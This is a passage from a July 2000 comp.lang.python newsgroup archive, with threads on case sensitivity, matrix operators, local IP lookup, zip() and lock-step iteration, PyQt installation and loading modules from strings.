> example, "if" is always 'converted' as "If" and if you declare a variable
as
> such:
>
> Dim m_Spam As Long
>
> (which, BTW, the IDE would have 'fixed' the words 'Dim', 'As' and 'Long')
>
> and then you need to refer to m_Spam, you can type it without any
capitals,
> and when you move the cursor to another line, the IDE will look up the
> declaration and match the case of the new instance of the variable with
that
> of the declaration... For example, I type:
>
> m_spam = M_SPAM + 42  <ENTER>
>
> and it becomes:
>
> m_Spam = m_Spam + 42
>
> ...which keeps the readability.  (doesn't it?)  Also, now that I have this
> line of code, if I go back to the declaration and change 'm_Spam' to
> 'm_SpAm', all the references 'm_Spam' will now read 'm_SpAm'...
>
> So, I can't say that I agree with you when you say that forcing the user
to
> type the name correctly will improve readability, especially in the case
of
> Pyton when a mis-typed variable name results in a new binding being
created,
> and not a compile-time error, like in C.  I once read an "article" (more
> like a joke) on how to write really bad (obfuscated) C code, and one of
the
> "tips" was to mix the cases of the letters making up variable names....
>
> If you have a pre-processor or a powerful IDE (more like a compiler built
> into an IDE), you can achieve readability that is customized to the person
> reading and making a change in the "readability" of a name does not
require
> doing a [case-sensitive] find/replace.
>
> Let the user have only to remember the sequence of characters and let the
> computer find out (in a previous declaration or usage) how they should be
> capitalized.
>
> I love Python.  I hope case sensitivity doesn't stay around for too long.
> All it *really* allows you to have is something like a previous post,
where
> a file requires a close method with a small C and for a DB connection, a
> close method with a capital C:
>
> aFile.close()
> aConnection.Close()
>
> ...which just seems pretty silly to me, especially if you're someone
trying
> to use code from two different sources, and they have adopt similar
> conventions, except the case is different.  People just don't think like
> computers:  'a' and 'A' are the same letter, and you bring up a good
example
> in your last paragaph...
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
>
> "Anders Eggers-Krag" <aek at aek.dk> wrote in message
> news:jbPb5.1245$bb.28195 at news101.telia.com...
> > I would say that it improves syntax consequense, leading to more
readable
> > code
> > for others, you are never in doubt about what to look for when looking
for
> a
> > keyword,
> >
> > in VB you might look for IF, If or if, and they look very different, and
> it
> > becomes a lot harder
> > to read somebody elses code.
> >
> > the case insensitivity is nice when I am the only one to read my code as
I
> > could then choose my
> > own obscure notation such as mYmetOd() and keep it consequent writing
dEf,
> > claSs, If eTc.
> > wheras case sensitivity makes it more natural to keep a more sensitive
> > manner such as myMethod()
> > MyMethod() or my_method() throughout that everyone can agree on, I
believe
> > that case sensitivity
> > leads to more uniform code, that again makes it easier to read your
> > collegues code. And i think it should
> > seem natural to everyone, after all books are written in case
sensitive...
> > you can't write: "i Am the wisEst
> > One of aLl." and be taken seriously
> >
> > But it depends on which kind of access is needed to the system ie it
would
> > be dreadfull if DNS
> > or SMTP servers were case sensitive and  user enters MicroSoft.com and
> gets
> > nowhere because
> > he should have written microsoft.com.
> >
> >
> > --
> > Anders Eggers - Krag
> >
> >
> > "Peter Timaratz" <timaratz at lisco.com> wrote in message
> > news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > > I can't think of any advantages to a case sensitive language. Python
is
> a
> > > very well-designed language though, so I imagine there is a good
reason
> > that
> > > it is case sensitive. So what are the advantages of a case sensitive
> > > language?
> > >
> > >
> >
> >
>
>


From cut_me_out at hotmail.com  Mon Jul 31 13:33:39 2000
From: cut_me_out at hotmail.com (Alex)
Date: 31 Jul 2000 13:33:39 -0400
Subject: looking for python object debugging hints
References: <87og3es4ai.fsf@oak.gitaram.com>
Message-ID: <etdsnsqyzkc.fsf@w20-575-112.mit.edu>

> Here are some of the ideas I have:
> 
>   1. Build a statically linked Python executable and completely
>      avoid the whole problem.

I do this, and it works pretty well.  I have a script that goes over my
development directory, copies across any file matching *module.c into
the python Modules/ directory if there isn't already an up-to-date copy
there, modifies the Setup file if necessary, does a 'make; make
bininstall' in the python directory, and filters the output from that so
that only lines matching one of the copied files gets printed.  It's as
easy to use as make, most of the time, except that you have to go back
and look at the entire make output if there's a linking error.

Alex.


From Barrett at STScI.Edu  Thu Jul 20 18:12:18 2000
From: Barrett at STScI.Edu (Paul Barrett)
Date: Thu, 20 Jul 2000 18:12:18 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu>
Message-ID: <39777941.1A85F3CA@STScI.Edu>

Perry Greenfield wrote:

> We are planning to use Numeric (or its future equivalent) heavily for
> our software. One thing we would strongly object to is making
> matrix operators the default. The vast majority of our manipulations
> (on images and spectra) involve elementwise operations. This would be
> consistent with what most astronomers would expect (and how IDL--currently
> the most commonly used array-based language in the astronomical community
> by far--handles it).
>

Note that IDL uses * as elementwise multiply and # has matrix multiply.   The
latter, I find, fairly desciptive, ie. it looks like a matrix.

I would also suggest just using solve(A,B) for matrix solve.  It's not that
long and its descriptive.

The one symbol in Python that I would like to see changed is ^ to mean
exponentiation, instead of **.  The xor operation could be represented by !|
or &| .

The one issue that concerns me about this discussion is the continued narrow
focus to emulate Matlab syntax to the exclusion of more general N-dimensional
operations.  I can see the need for some more general operators, but I'm not
for any of this, if all we're doing is defining 2-D Matlab syntax.   I
suggest the Matlab people take a look at APL or J to get a broader
perspective of array languages.




From fran at stat.Berkeley.EDU  Sat Jul 15 19:14:11 2000
From: fran at stat.Berkeley.EDU (Fran Rizzardi)
Date: 15 Jul 2000 23:14:11 GMT
Subject: something like os.link() for NTFS?
Message-ID: <8kqr83$qm9$1@agate.berkeley.edu>

Hard links exist under NTFS.  Does anyone know of a Python function for NT
under NTFS that does what os.link() does under UNIX?  If not, is there a
technical reason why it isn't a good idea?

Thanks very much,

Fran Rizzardi


From sabren at manifestation.com  Mon Jul 31 16:09:31 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Mon, 31 Jul 2000 16:09:31 -0400 (EDT)
Subject: Best way to solve dual call???
In-Reply-To: <qwkh5.29459$ga2.842047@newsread2.prod.itd.earthlink.net>
Message-ID: <Pine.BSF.4.10.10007311604180.3208-100000@chi.pair.com>

On Mon, 31 Jul 2000, Arint? wrote:

> I have this app that allows python scripts to talk to devices thru a c++ app
> and a dll.  At certain times the device may need to send a message to the
> script like COVER_OPENED/COVER_CLOSED.  Currently, it is giving me a error
> in the Thread State stuff.  It works ok if there is a call to the script and
> while that call is being made then send the message.  Example I have a
> messagebox in my dll that python scripts can pop up, while the script is
> waiting for that messagebox to go away Messages from the device can safely
> make it in.  I could tell the testers to popup a window whenever a message
> may be expected, but that is not practical or possible.  Any hints on what I
> could do?

If you want a DLL to send a message back into your program, you're
probably talking about having a callback routine to catch it, right?

I ran into this situation trying to script a MIDI keyboard.  Every
time I pressed a note, python would completely crash.

I don't know if this is the ONLY way to solve the problem, but I found
it works best to have the callback written in C, and compile it as a
python module.

I'm not a very good C programmer (so I can't tell you much  more
than that) but I got the code working, and you can see it at
http://www.sabren.com/code/python/midi/

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From gerryq at indigo.ie  Mon Jul 24 14:18:22 2000
From: gerryq at indigo.ie (Gerry Quinn)
Date: Mon, 24 Jul 2000 18:18:22 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie> <uya2rpfja.fsf@ctwd0143.fitlinxx.com>
Message-ID: <3L%e5.9930$r4.5151@news.indigo.ie>

In article <uya2rpfja.fsf at ctwd0143.fitlinxx.com>, David Bolen <db3l at fitlinxx.com> wrote:
>gerryq at indigo.ie (Gerry Quinn) writes:
>
>> In article <8lh588$oti$3 at news.fsu.edu>, Ronald Steedman
> <steedman at quake.cs.fsu.edu> wrote:
>> > A full compile of a complex software package can often take 30 seconds or
>> > more. That can be frustrating when you're trying to find and remove bugs.
>> > You try one thing, wait 30 seconds, try another thing, wait 30 seconds...
>> >
>> > Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
>> > RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
>> > compile the application when you're finished and want a faster program.
>> 
>> If I were your boss I would make sure you had no access to an 
>> interpreter!  I would even slow down your compilation by giving you an 
>> older machine ;-)
>> Changing things at random and hoping the problem goes away is not the 
>> way to fix bugs.
>
>Where in the above did he say "random" and "hope"?  Being able to
>iteratively and interactively make changes hardly has to impact the
>methodology used in arriving at those changes to be made.
>
>Or are you saying that the use of a compiler would remove the need to
>ever iterate more than once on a bug fix?  I'm not sure I'd agree :-)
>

Even 10 iterations would be only 5 minutes.  A bug that took that many 
iterations to kill would require much more than 5 minutes thought.  
Clearly if compile time is frustrating in such a case, the time devoted 
to thinking about the bug is insufficient.  Furthermore, if it appeared 
to go away after trying this and trying that, I am not confident that it 
would be properly fixed. 

Sometimes, you do find the problem by applying a half thought out 
change, finding it works, and then realising what the problem was.  But 
a compile time of 30s is neither here nor there, IMO.

Gerry Quinn                                   
--
http://bindweed.com
Puzzle / Strategy Games and Kaleidoscope for Windows
Download evaluation versions free, no time limits
New: Unique 2-player strategy game "Zen"




From arhodes at psionic.com  Wed Jul 19 18:23:15 2000
From: arhodes at psionic.com (Aaron Rhodes)
Date: Wed, 19 Jul 2000 17:23:15 -0500
Subject: Getting local IP address...
References: <CC59868A0A76D311B1F50090277B321C1F3433@VRTMAIL>
Message-ID: <39762A53.376B180A@psionic.com>

Mike Fletcher wrote:
> 
> The primary problem with #1 is complex network configurations. For instance,
> here is what the code gives you on my machine (and my configuration is not
> that complex in the grand scheme of things)...
> 
> >>> import socket
> >>> socket.gethostbyname( socket.gethostname())
> '192.0.2.201'
> 
> Which seems perfectly reasonable, except that that is actually an address on
> our VPN, and is completely un-addressable by the outside world.
> (Incidentally, you likely get the same information from the Linux hackery,
> since it only accesses "the first" ethernet adapter, is, effectively, doing
> exactly the same thing as gethostbyname, just in an obscure way, and you
> still are left not knowing what is connected to the Internet).

Just to clarify -- the Linux hack does things a tad different
than the socket.gethostbyname( socket.gethostname() ) call...
The socket.gethostbyname method relies on an entry in /etc/hosts
or a valid DNS entry (or whatever nsswitch.conf says to use
actually) under hosts: .  If these two things are broken or don't
exist the call will fail as in:

>>> import socket
>>> print socket.gethostbyname_ex(socket.gethostname())
Traceback (innermost last):
  File "<stdin>", line 1, in ?
socket.error: host not found

*Note: I only tried this on Linux since that's what I'm on right now.

However, the Linux fcntl method will work without valid DNS/hosts file.

The other issue here is that if multiple IP addresses are used,
there's really not a good way to tell which one was used to send
a packet to particular destination unless you use the reflection
method as previously described (or sniff the wire in non-promiscuous
mode to see what your machine is sending -- fairly tedious).  If you 
need to know which address "will be used" to send a packet somewhere
before 
it is sent -- i.e. to locate the "external" interface
before it's used, then you could perhaps look at the default route on
the system and compare to the machine you are trying to connect to...
or have the user tell you.

This is an interesting problem...who would have thought.

Aaron
arhodes at psionic.com


From donn at u.washington.edu  Fri Jul 28 17:37:11 2000
From: donn at u.washington.edu (Donn Cave)
Date: 28 Jul 2000 21:37:11 GMT
Subject: "always passes by reference"
References: <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com>
Message-ID: <8lsue7$4qis$1@nntp6.u.washington.edu>

Quoth hzhu at users.sourceforge.net (Huaiyu Zhu):
...
| IMHO, the name/object dichotomy is much more descriptive for python than the
| reference/value dichotomy.

What about references that have no name, in lists and tuples?

	Donn Cave, donn at u.washington.edu


From boud at rempt.xs4all.nl  Thu Jul  6 04:59:44 2000
From: boud at rempt.xs4all.nl (Boudewijn Rempt)
Date: 6 Jul 2000 08:59:44 GMT
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local> <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk> <20000703.19444100@linux.local> <8jqnsu$m79$1@news1.xs4all.nl> <20000703.22081700@linux.local>
Message-ID: <8k1hq0$k0r$1@news1.xs4all.nl>

Kenneth Payne <kmp at atrium.fsnet.co.uk> wrote:
> Boudewijn -

> I've installed autoconf and automake. This gets rid of all errors 
> except the message about X (if that is an error) but I still get the  
> same probelm on installing pyQT.


Sorry for getting back so late - in the meantime I've tried to 
install PyQt on a few other machines. One problem I had was that
on Redhat /usr/local/lib, where sip installs by default, wasn't
included in ld.so.conf or the ld_library_path. Sip isn't a Python
module, really, so it doesn't reside in /lib/python.


> checking for X... no

I do think you need X, really. Have you got the development packages
installed?

If you try again, first remove config.cache, to force autoconf to look
again, then run ./configure again. If you still can't get it to work,
I'd suggest contacting Phil Thompson - he's far more knowledgeable
in compiling matters than I am. Success!

-- 

Boudewijn Rempt  | http://www.valdyas.org


From garry at sage.att.com  Mon Jul 31 08:35:03 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Mon, 31 Jul 2000 12:35:03 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com> <m2ittptl11.fsf@mycroft.actrix.gen.nz> <slrn8o6lr2.f91.grey@teleute.rpglink.com>
Message-ID: <39857277.FBA95374@sage.att.com>

Steve Lamb wrote:
> 
> On 29 Jul 2000 20:09:46 +1200, Paul Foley <see at below> wrote:
> >Not in the world I live in!  If I put a slice of pizza in my coffee cup,
> >it doesn't magically turn into coffee...just makes a mess.
> 
>     Of course not, pizza is not data.  Data has this lovely property that
> pizza doesn't have, it doesn't really exist.

that's ok, Paul doesn't really have a slice of pizza.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From jacques.bonhomme at advalvas.be  Wed Jul 19 20:35:24 2000
From: jacques.bonhomme at advalvas.be (Damien)
Date: Thu, 20 Jul 2000 02:35:24 +0200
Subject: Discussion: Introducing new operators for matrix computation - 
 general approach?
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <8koktn$dik$1@news-int.gatech.edu>
Message-ID: <3976494C.3A6DE1F7@advalvas.be>


Andrew Henshaw wrote:
> 
> ...snip...
> I wonder if some of these problems could be approached in a more general
> manner.  What if Python could support the definition of operators in the
> same manner as functions? If that were the case then something like:
> 
> opr rDiv(X, y):
> 
> would define a new operator function that would work like:
> 
> b = X rDiv y
> 
> The big advantage would be that special purpose grammars could be easily
> imported.  The core language could be kept as simple as possible, but still
> be extensible in a  way that matters to a lot of people.
> 
> I suspect that whitespace would be required around these new 'operators',
> although many people already do that with regular operators.  Also, I'm not
> sure how you'd specify an operator that wasn't valid as a function name, but
> I can think of possibilities.
> 

I agree with a general approach.  Operator overloading is present in
Python 
and can create elegant solutions.  Extending the number of operators can
also make things clearer as there is no obligation to link a new type of
operation to an existing operator.
A general operator of the type .X  could avoid major parsing problem. 
When treating the dot operator, the X is present as parameter and is the
first 
character following the '.'   This avoids the necessity for blanks around
the 
operator.

Damien Fontaine



From rumjuggler at cryptarchy.org  Sat Jul 29 16:05:09 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 20:05:09 GMT
Subject: [Python-Dev] PEP 201, zip() builtin
References: <200007280428.QAA09796@s454.cosc.canterbury.ac.nz> <cpr98ee3kv.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <4ge6oso7stn8m263dvkabt6foq1tbrqbqc@4ax.com>

On Fri, 28 Jul 2000 13:22:37 GMT, Guido van Rossum <guido at beopen.com>
wrote:

>> bwarsaw at beopen.com (Barry A. Warsaw):
>> >      An earlier version of this PEP proposed that
>> >      zip() return a built-in object that performed lazy evaluation
>> >      using __getitem__() protocol.  This has been strongly rejected
>> >      by the BDFL in favor of returning a real Python list. If lazy
>> >      evaluation is desired in the future, the BDFL suggests an xzip()
>> >      function be added.
>
>Greg Ewing <greg at cosc.canterbury.ac.nz> replies:
>> Well, in that case I think the BDFL has just shot this
>> proposal in the foot as far as being a serious solution
>> to the parallel for loop problem.
>> 
>> I was willing to live with the idea of using zip() instead
>> of having a proper parallel iteration syntax, as long as
>> it was implemented lazily. But now it seems I'll have to
>> use another ugly x-named function all over the place.
>
>Who says all over the place?  As far as I can tell, lock-step
>iteration (let's not call it "parallel") is a fairly uncommon
>operation -- but just common enough that people have been arguing for
>some kind of support for it.
>
>The proposed implementation will be blindingly fast -- zip() could
>approximate the existing range() function in speed.  There are a few
>well-known cases where xrange() is to be preferred over range(), but
>in *most* cases, I claim, range() performs well enough.  Note that I'm
>not saying that range() is faster than xrange() -- I am saying that it
>is *fast enough* for typical usage.
>
>I claim the same for zip().  We'll have a C implementation of zip() in
>the 2.0b1 release (expect it late August); please hold back your
>judgement until then.

I take it, then, that lock-step iteration will be done with zip()?  That
seems too bad, because it the existing Python syntax could be modified to
create easily-understood (to me, anyway) ways of expressing both parallel
and lock-step iteration:

parallel:
for x in sequence1, y in sequence2:
	stuff

lock-step:
for x, y in sequence1, sequence2:
	stuff

-- 
Barnabas T. Rumjuggler

This is the Great Theatre of Life. Admission is free but the taxation is
mortal. You come when you can, and leave when you must. The show is
continuous. Good-night. 
 -- Robertson Davies, _The Cunning Man_


From thomas at xs4all.net  Fri Jul 21 02:48:48 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Fri, 21 Jul 2000 08:48:48 +0200
Subject: [long and fussy] But what do these operators _mean_?
In-Reply-To: <8l899g$6f5$1@agate.berkeley.edu>; from ejr@lotus.CS.Berkeley.EDU on Fri, Jul 21, 2000 at 01:33:36AM +0000
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu>
Message-ID: <20000721084848.C9897@xs4all.nl>

On Fri, Jul 21, 2000 at 01:33:36AM +0000, Edward Jason Riedy wrote:

> Python doesn't provide reasonable ways to test for Inf or NaN.  These
> are needed in new eigenvalue routines (the only known optimal ones).
> Yes, I know, there are some non-IEEE architectures left, but they
> shouldn't be encouraged.  (Keep in mind that I'm at Berkeley; expect 
> a strong IEEE-754 bias.)

Well, now that the C standard (C99) says *something* about the
implementation of floating point numbers, we can expect some change in this.
However, given that it took 10 years before Guido decided for an all-out
move from K&R C to ANSI C, it's not likely to happen overnight ;)

Tim can probably say more about this, though, as usual.
-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From thamelry at vub.ac.be  Mon Jul 10 03:56:25 2000
From: thamelry at vub.ac.be (Thomas Hamelryck)
Date: 10 Jul 2000 07:56:25 GMT
Subject: More math on the O'Reilly Network
References: <3964CA9B.CBCD5B03@oreilly.com> <8k41s8$a8i$1@snic.vub.ac.be> <21a69d79.ebd96c80@usw-ex0104-032.remarq.com>
Message-ID: <8kbvj9$lde$1@snic.vub.ac.be>

fig <figNOfiSPAM at oreilly.com.invalid> wrote:
: Sounds like the article didn't go where you wanted it to go.

There's nothing wrong with it. I just thought the introduction
to matrices and vectors was a little bit superfluous. 

: What aspects of NumPy were you looking for a good tutorial on?

There are some gotcha's when working with Numpy, like the automatic
upcasting of arrays. Numpy can be used to do large scale vector 
operations efficiently (eg. multiplying 1000 vectors by a matrix). It
would be nice to explain how to do that as well. Explaining how to 
transfer data from Numpy to C and back would also be interesting. 

Cheers,

---
Thomas Hamelryck   Institute of Molecular and Structural Biology
Aarhus University  Gustav Wieds Vej 10C DK-8000 Aarhus C Denmark
                 http://zombie.imsb.au.dk/~tham                                 



: -----------------------------------------------------------

: Got questions?  Get answers over the phone at Keen.com.
: Up to 100 minutes free!
: http://www.keen.com



From grey at despair.rpglink.com  Fri Jul 28 18:05:24 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 22:05:24 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <3981B034.80FACD08@fft.be> <3981D863.F71AC0AC@alcyone.com>
Message-ID: <slrn8o40p1.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 12:00:51 -0700, Erik Max Francis <max at alcyone.com> wrote:
>Perl doesn't make a distinction between types at the object level, but
>it has to at the _operator_ level.

    Might that be exactly why I say that data is data and that the operation
determines the type?  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From nowonder at pool.informatik.rwth-aachen.de  Tue Jul 25 03:45:24 2000
From: nowonder at pool.informatik.rwth-aachen.de (Peter Schneider-Kamp)
Date: Tue, 25 Jul 2000 07:45:24 +0000
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <397D4594.B52DE55E@pool.informatik.rwth-aachen.de>

Jonathan wrote:
> 
> 1. There are no keywords to declare static or instance variables; it
> 2. No *formal* declaration of static class methods, e.g. no 'static'
> 3. No keywords to differentiate between passing arguments by reference
[...]
> it; but i don't think it's suitable to be a first programming language
> for non-programmers(i read somewhere about this project going on).
> Pascal(for procedural) and Java(for OOP) is still the better choice to
> start off, IMHO.

I think especially for non-programmers, it is a quite good language.
Consider your three points above: A non-programmer is not going to
care about static variables/classes/passing conventions.

I think it's true that compared to many other languages these things
are a bit weird (magic), but in most cases they do what you want them
to do.

In Python you can write nearly pseudo code, e.g. with for element in list
and other constructions.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From Armin at Steinhoff_de.bbs  Sun Jul 16 17:50:05 2000
From: Armin at Steinhoff_de.bbs (Armin at Steinhoff_de.bbs)
Date: 16 Jul 2000 21:50:05 GMT
Subject: Funding vs Python
Message-ID: <3bQb5S$kD_@openbazaar.net>

In article <8kt4rj$d4n$1 at nnrp1.deja.com>, Andy says...
>
>I was tired of hearing a friend talk about how wonderful Python is,
>so I decided to learn Python by using it to implement a product that
>the official implementation team thought would take experts 1-2 man
>years using numerous Java buzz-words.  A month later, I'm still a
>Python newbie, but I'm close enough to done that I'm looking at
>the rev 2 feature list.  (The experts are still trying to hire
>but are going to start any day because other folks like running
>code more than they like plans.)
>
>No good deed goes unpunished, so now I'm getting push back along the
>lines of "we can't get funded if it's in Python".  (Somehow, I don't
>think that using Perl would have produced the same reaction.)

Well ... compile your Python sources into C++ or use JPython in order to
generate JAVA code :-))

Regards

Armin

>
>I've seen the list of web projects at python.org, so I'm wondering
>if there are others or if there really are examples of companies that
>didn't get funded because they used Python.
>
>-andy
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.


From a.kupries at westend.com  Mon Jul 31 14:29:04 2000
From: a.kupries at westend.com (Andreas Kupries)
Date: 31 Jul 2000 20:29:04 +0200
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
	<398126DE.6E2C2627@ajubasolutions.com>
	<m3k8e6q7qr.fsf@bluepeak.westend.com>
	<3981EDA1.1CB1CE07@ajubasolutions.com>
Message-ID: <m3vgxmjgr3.fsf@bluepeak.westend.com>

Dan Kuchler <kuchler at ajubasolutions.com> writes:
 
> Andreas Kupries wrote:

>> <quote http://www.perl.org/perl6/initial_meeting.html>
>>> Syntax separation - multiple syntaxes ?  Perl6 offers the
>>> possibility to ... write Perl programs in multiple syntaxes such
>>> as Python, JavaScript, and Perl5 ...

 >> This reminds me of Guile, which tried to do the same thing, no ?
 >> Universal lisp engine below, multiple formats for programming it
 >> above. Here just with the perl engine below. A try to unify
 >> interpreters ? See also Jean-Claude's Minotaur, using a forth
 >> engine below and beside interpreters for several scripting
 >> languages to allow them to use each other (and their extensions)
 >> hither and fro. With the long-term goal to make each interpreter a
 >> set of routines above the universal forth engine below. Hm.

Looking at my post and this I think that I came across as being
opposed to this. I am not. I don't think that I will have time to
actively participate in such an effort [*] but I will follow them with
interest.

[*] Maybe indirectly through working on the tcl core.


 > I understood this to mean that for perl 6 they might try to
 > architect it into a front-end/back-end style where the front-end has
 > a parsing engine (and translator to byte codes or some intermediary
 > language?)  and then the backend provides the code for actually
 > implementing the various commands.

Exactly. This is that guile tries to do too.

 > If done correctly, only the perl front end would have to be
 > implemented, but it would give others the opportunity for trying to
 > write some new syntax (which could be like tcl, python, etc.) that
 > would work with the existing perl backend.
 
 > That was how I envisioned that bullet might be implemented..

-- 
Sincerely,
	Andreas Kupries <a.kupries at westend.com>
		<http://www.purl.org/NET/akupries/>
-------------------------------------------------------------------------------


From R.Brodie at rl.ac.uk  Mon Jul 24 10:08:18 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Mon, 24 Jul 2000 15:08:18 +0100
Subject: Variables in strings..
References: <81324605608.20000724121203@buz.ch> <8lh72p$173m@newton.cc.rl.ac.uk> <71330494285.20000724135012@buz.ch>
Message-ID: <8lhikk$rgg@newton.cc.rl.ac.uk>

"Gabriel Ambuehl" <gabriel_ambuehl at buz.ch> wrote in message
news:71330494285.20000724135012 at buz.ch...

> I really dislike all that HTML generators no matter if they are for
> Perl or Python. I've got my very own view about how I want to have my
> HTML code looking (imagine strongly idented, ie each element has got
> it's own identation level,  <table> constructs). Using some modules
> for it just won't do the job for me...

If you prefer, rolling your own template functions wouldn't be too hard.
For example, if you want to interpolate a list into a string:

>>> def format(template, *args):
               for element in args:
...                     template = re.sub('#', str(element), template, 1)
...            return(template)
...
>>> format('Value is # and # and #', 2, 3, 4)
'Value is 2 and 3 and 4'

No doubt re hackers could optimise the code further. One could
even (horrors) write a function that takes a string and does Perl style
substitution from the enclosing namespace.




From chrisw at nipltd.com  Fri Jul  7 09:07:35 2000
From: chrisw at nipltd.com (Chris Withers)
Date: Fri, 07 Jul 2000 13:07:35 GMT
Subject: imp.load_module from a string
Message-ID: <8k4kmh$khb$1@nnrp1.deja.com>

Hi,

I am trying to a load a .pyc which has been pickled, sent over a TCP/IP
connection and then unpickled into a string.

imp.load_module seems perfect, however, when I call it with:

imp.load_module(moduleName,
                StringIO.StringIO(modulePYC),
                moduleName+'<remote>',
                (".pyc","rb",imp.PY_COMPILED))

I get:

ValueError: load_module arg#2 should be a file or None

Anyone know how I should be doing this?

cheers,

Chris


Sent via Deja.com http://www.deja.com/
Before you buy.


From bvdpoel at uniserve.com  Sat Jul  1 22:56:34 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Sat, 01 Jul 2000 19:56:34 -0700
Subject: Class vrs. function
References: <395E2425.8F6F8757@uniserve.com> <395E4281.452C26DE@prescod.net>
Message-ID: <395EAF62.4A628573@uniserve.com>

Paul Prescod wrote:
> 
> Bob van der Poel wrote:
> >
> > ...
> >
> > Is this just a good habit being developed by those who think that
> > classes are better than functions, or god forbid, inline code?
> 
> Given what you've said, that one-function class looks pretty bizarre. Is
> there maybe something else useful about it that you haven't noticed?
> Classes are not better than functions. They are just different. In most
> cases, you use classes when you need to combine data and instructions.

Yes, that I understand. In some of the example code I've seen there is
only the __init__ function and no data. That's why it doesn't make sense
to me. Maybe I'm just having a bad day.....

-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel


From richard_chamberlain at ntlworld.com.bbs  Mon Jul 17 16:40:03 2000
From: richard_chamberlain at ntlworld.com.bbs (richard_chamberlain at ntlworld.com.bbs)
Date: 17 Jul 2000 20:40:03 GMT
Subject: Multiline strings and indentation
Message-ID: <3bROc3$kuA@openbazaar.net>

Hi Jen,

How about:

def multiline(x):
  if x:
    print "this is a" \
            "multi-line string that spans" \
            "three lines" \
 print "another string"

Richard

donotspam-jen at personic.com <dnotspam-jen at personic.com> wrote in message
news:39736250$0$14722 at wodc7nh6.news.uu.net...
> I'm just getting started with Python. The indentation feature really does
> make things readable ... except when using multi-line strings.  This just
> doesn't look right:
>
> def multiline(x):
>   if x:
>     print """this is a
> multi-line string that spans
> three lines"""
>  print "another string"
>
> Is there a way to make the above more readable? It would be nice if it
could
> be written this way and have Python just figure out what whitespace to
> ignore:
>
> def multiline(x):
>   if x:
>     print """this is a
>              multi-line string that spans
>              three lines"""
>  print "another string"
>
> Thanks for any suggestions!
>
> Jen
>
>


From gmunsey at punkalunka.org  Sun Jul 30 15:32:05 2000
From: gmunsey at punkalunka.org (Grant Munsey)
Date: Sun, 30 Jul 2000 12:32:05 -0700
Subject: Python plug-ins for Adobe Products available
References: <BvGg5.22$RZ2.62383@news.pacbell.net> <8m06l3$8s4$1@agate.berkeley.edu>
